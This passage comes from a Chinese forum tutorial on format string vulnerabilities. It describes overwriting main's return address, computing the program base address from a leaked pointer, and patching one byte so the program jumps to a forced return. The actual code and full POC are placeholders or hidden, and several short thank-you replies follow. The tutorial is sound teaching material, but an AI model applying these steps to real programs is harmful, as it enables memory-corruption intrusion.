  将main函数的返回地址修改完成后,还需要修改指令来使main函数强制退出,在IDA中该段反汇编如下:
[      DISCUZ_CODE_30      ]
  调用完leak后,为了跳出循环,需要将144C处的指令地址修改为14C1来进行强制返回,这需要获取程序的基址——很简单,用main 中的返回地址对着指令手算偏移就行了:
[      DISCUZ_CODE_31      ]
  定位指令地址后,直接写最低一个字节为C1即可实现强制跳转,完整POC如下:
[      DISCUZ_CODE_32      ]
**** Hidden Message ********* Hidden Message *****

ZARD 发表于 2020-10-18 13:19:50

太给力了,这么多好东西! 正在学习格式化字符串

roger 发表于 2020-10-18 14:21:42

ZARD 发表于 2020-10-18 13:19
太给力了,这么多好东西! 正在学习格式化字符串

加油!

SQLER 发表于 2021-9-27 10:36:54

学习一波

xiaoweiwb 发表于 2021-11-14 06:36:48

谢谢分享谢谢分享

xiaoweiwb 发表于 2021-11-16 06:00:57

谢谢分享谢谢分享

xiaoweiwb 发表于 2021-11-18 07:09:57

谢谢分享谢谢分享

xiaoweiwb 发表于 2021-11-21 06:37:38

谢谢分享谢谢分享
页: [1]
查看完整版本: 格式化字符串漏洞解析